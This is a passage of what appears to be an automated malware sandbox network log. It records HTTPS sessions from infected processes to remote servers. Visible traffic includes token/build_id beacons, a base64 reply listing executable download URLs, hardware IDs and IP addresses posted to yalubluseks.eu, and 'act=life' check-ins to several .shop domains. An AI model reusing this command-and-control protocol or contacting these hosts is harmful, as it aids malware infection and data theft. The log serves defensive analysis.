2024-09-25 18:49:55 UTC	16318	OUT	Data Raw: 64 45 38 43 52 61 68 34 5a 31 65 2b 75 5a 5a 6f 37 36 31 65 57 4f 33 69 56 67 46 63 78 72 6b 35 42 47 54 7a 78 77 52 57 52 71 2b 68 57 6d 6d 65 46 4e 46 76 38 41 7a 4a 6a 66 61 68 35 6a 75 68 59 62 46 51 48 6a 41 78 6e 4a 42 58 76 36 31 34 71 77 4f 46 6c 4c 6c 55 6e 65 39 75 6e 61 2f 59 2b 30 65 4b 72 70 63 7a 53 2f 72 35 6e 76 47 72 51 79 7a 57 49 45 4d 5a 6b 64 4a 6f 5a 64 67 49 42 59 4a 49 72 45 44 4a 41 7a 67 48 71 61 35 6e 78 4e 6f 38 32 74 71 4c 69 33 30 61 38 68 76 6c 47 41 37 50 44 74 63 65 6a 59 6b 2f 49 31 75 33 75 75 52 57 64 33 4a 41 31 7a 70 53 46 4d 66 4c 50 66 69 4e 78 6b 41 38 72 74 4f 50 7a 71 54 54 74 58 6a 31 43 34 61 4a 4a 39 4f 6b 49 54 64 69 32 76 50 4e 62 71 4f 6f 32 6a 6a 6e 72 39 4b 38 71 4d 4b 73 4c 56 49 36 48 58 4e 30 71 69 64 Data Ascii: dE8CRah4Z1e+uZZo761eWO3iVgFcxrk5BGTzxwRWRq+hWmmeFNFv8AzJjfah5juhYbFQHjAxnJBXv614qwOFlLlUne9una/Y+0eKrpczS/r5nvGrQyzWIEMZkdJoZdgIBYJIrEDJAzgHqa5nxNo82tqLi30a8hvlGA7PDtcejYk/I1u3uuRWd3JA1zpSFMfLPfiNxkA8rtOPzqTTtXj1C4aJJ9OkITdi2vPNbqOo2jjnr9K8qMKsLVI6HXN0qid
2024-09-25 18:49:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:57 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49735	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:57 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:57 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------EGDBFIIECBGDGDGDHCAKCont
2024-09-25 18:49:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:58 UTC	191	IN	Data Raw: 62 34 0d 0a 4d 54 49 77 4f 44 6b 30 4e 33 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 77 63 6d 39 6e 4c 7a 59 32 5a 6a 51 79 4e 47 55 34 4d 47 49 35 59 32 4e 66 61 57 52 7a 62 57 52 7a 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 4d 54 49 77 4f 44 6b 30 4f 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 77 63 6d 39 6e 4c 7a 59 32 5a 6a 51 79 4e 44 64 6b 4e 54 45 34 4d 54 4a 66 62 47 5a 6b 63 32 70 75 59 53 35 6c 65 47 56 38 4d 58 78 72 61 32 74 72 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: b4MTIwODk0N3xodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9wcm9nLzY2ZjQyNGU4MGI5Y2NfaWRzbWRzLmV4ZXwxfGtra2t8MTIwODk0OHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9wcm9nLzY2ZjQyNDdkNTE4MTJfbGZkc2puYS5leGV8MXxra2trfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49737	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:00 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:50:00 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------EGHJKJKKJDHIDHJKJDBGCont
2024-09-25 18:50:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:50:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:50:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49738	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:02 UTC	170	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue Connection: Keep-Alive
2024-09-25 18:50:02 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-25 18:50:02 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 32 Data Ascii: current_version=0.2
2024-09-25 18:50:03 UTC	609	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RPYWuBKmTHVXndUqR4uXynSBCZkSRhnyuiNP%2Fi733C4%2B%2B3pYdl6SklbmiE31yW5qzSR0s0OarfW0mXO7NqmasvarNr3ItUQ1BNqnVx3ljEBrg1m6bEt2toU1dNvB4z%2FjHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32956b981865-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49739	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:05 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:50:05 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------DGCFHIDAKECFHIEBFCGICont
2024-09-25 18:50:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:50:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:50:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49741	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:05 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-09-25 18:50:05 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-25 18:50:05 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 32 63 31 34 61 35 66 66 61 61 66 38 34 66 66 34 64 32 62 37 64 63 65 64 34 39 61 30 38 33 38 36 39 61 34 32 61 37 61 62 35 34 38 39 34 31 37 35 35 62 35 63 36 34 65 65 39 38 35 63 37 32 61 65 Data Ascii: ip=8.46.123.33&hwid=2c14a5ffaaf84ff4d2b7dced49a083869a42a7ab548941755b5c64ee985c72ae
2024-09-25 18:50:06 UTC	613	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nxoReRIK0xlHrMT%2FQYIN9ThDuE%2B%2FrV58zS5XFO%2BSa1I7%2F9xcZXzBaHQZWp5aBulT6LW627aJiyJe1NtlkFWTAKA30gm%2Bn8zhmxcjzmL1Ze5Pfxj5zLGQD92GqNSFdeo0iQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32aae80941d8-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49742	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:07 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:50:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------JKJECBAAAFHIIEBFCBKFCont
2024-09-25 18:50:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:50:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49744	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:07 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-09-25 18:50:07 UTC	25	IN	HTTP/1.1 100 Continue
2024-09-25 18:50:07 UTC	84	OUT	Data Raw: 68 77 69 64 3d 32 63 31 34 61 35 66 66 61 61 66 38 34 66 66 34 64 32 62 37 64 63 65 64 34 39 61 30 38 33 38 36 39 61 34 32 61 37 61 62 35 34 38 39 34 31 37 35 35 62 35 63 36 34 65 65 39 38 35 63 37 32 61 65 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=2c14a5ffaaf84ff4d2b7dced49a083869a42a7ab548941755b5c64ee985c72ae&ip=8.46.123.33
2024-09-25 18:50:08 UTC	605	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ceCl9ng8lPFfu84G9O79cxI%2FYctwmZvrgokTKAp67aoKTkkGVbfmdqp5RuD9P0NApGeQ3EIO0nwzoLJQ%2F5CmHNRX7y8WcilS09X0fYdiMXyYuHVL9fnD5w0eUag7B4AtJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32b50d4442bd-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49746	104.21.58.182	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:09 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-25 18:50:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:10 UTC	768	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kocei7mdog4bitkuv8dahgbdcj; expires=Sun, 19 Jan 2025 12:36:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mJ5gK%2FG3FiU6HvIrM48LcgWtwfll0rvUNZ4%2B7J42tMjvU07X%2FKDxYDzVOe13Y6wt8XL%2FJeQygBEjn2YImc6x3r3GYcIEoquQwZGy9FjOSvpkQgtn1fawAnB1ZsrZ7QK8jPET"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32c2c85d439a-EWR
2024-09-25 18:50:10 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49747	172.67.132.32	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:11 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gutterydhowi.shop
2024-09-25 18:50:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:13 UTC	778	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ukac33r2jb55qabfojvh5auku0; expires=Sun, 19 Jan 2025 12:36:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pj9Yz8dNvmsXw9DK6P875pOGyl4%2BZ3%2F0yfUm9J630vaA10UE%2FEVRj54LVXlCDuqt8OlueanQ3eHB30nyLCxLX7Min9y3nnwlfJorSzaCbcF0oFDmRGe5x%2B6iYkP%2BQggaKd9QXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32d03f524325-EWR
2024-09-25 18:50:13 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49748	188.114.97.3	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:13 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-25 18:50:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:14 UTC	776	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o1hecqibml7d8q2pot5r3hpa21; expires=Sun, 19 Jan 2025 12:36:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CWyeQzL3Bi5WDrog47uC2ZdPUPSBYR%2FEsQc6zGLl6dHTvWno%2FKLPnykY4KbmGeJSdNLw48pf%2BR7Ul0LdJ2m%2BAi7BqRWfXW1Bb2MG1JqmWiLUJ8sU7tCI8Hqp9Y3r6UBP9rYFWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32dc58e14369-EWR
2024-09-25 18:50:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49749	188.114.97.3	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:14 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: offensivedzvju.shop
2024-09-25 18:50:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:15 UTC	768	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bklp9t5obqfv1f2vq5ajkd1ctl; expires=Sun, 19 Jan 2025 12:36:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S0ps2OSUr8f%2BzTos72yASjMfNzFLlv6ywswfoe2dyB67j7aJaGoyu932NjWU9ClCagt0Olw3%2F2UeH6vEMFBB8d7FpzGLuQ4EmAShEcZHSCkMZwUS4Tc5YGr8aXGdR3XVBxDXTOpO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32e3bf087c6a-EWR
2024-09-25 18:50:15 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49750	188.114.96.3	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:17 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: vozmeatillu.shop
2024-09-25 18:50:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:17 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d3civ3fk9n5bm9ns7seolc9499; expires=Sun, 19 Jan 2025 12:36:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=twxf6IyJMJja0AY98h20gVk%2Bs0rly4TyIXwUlCLtYcfPuDovMlItQwFC8SFUs0W%2BxVed2t3cBeFsJ%2B6mTrHJqEvKbvgweZmql9pNSPUMMyH1MV24h3Q3GXGBFCO2JLDD0bRK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32f3aa605e5f-EWR
2024-09-25 18:50:17 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49751	104.21.58.182	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:18 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-25 18:50:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
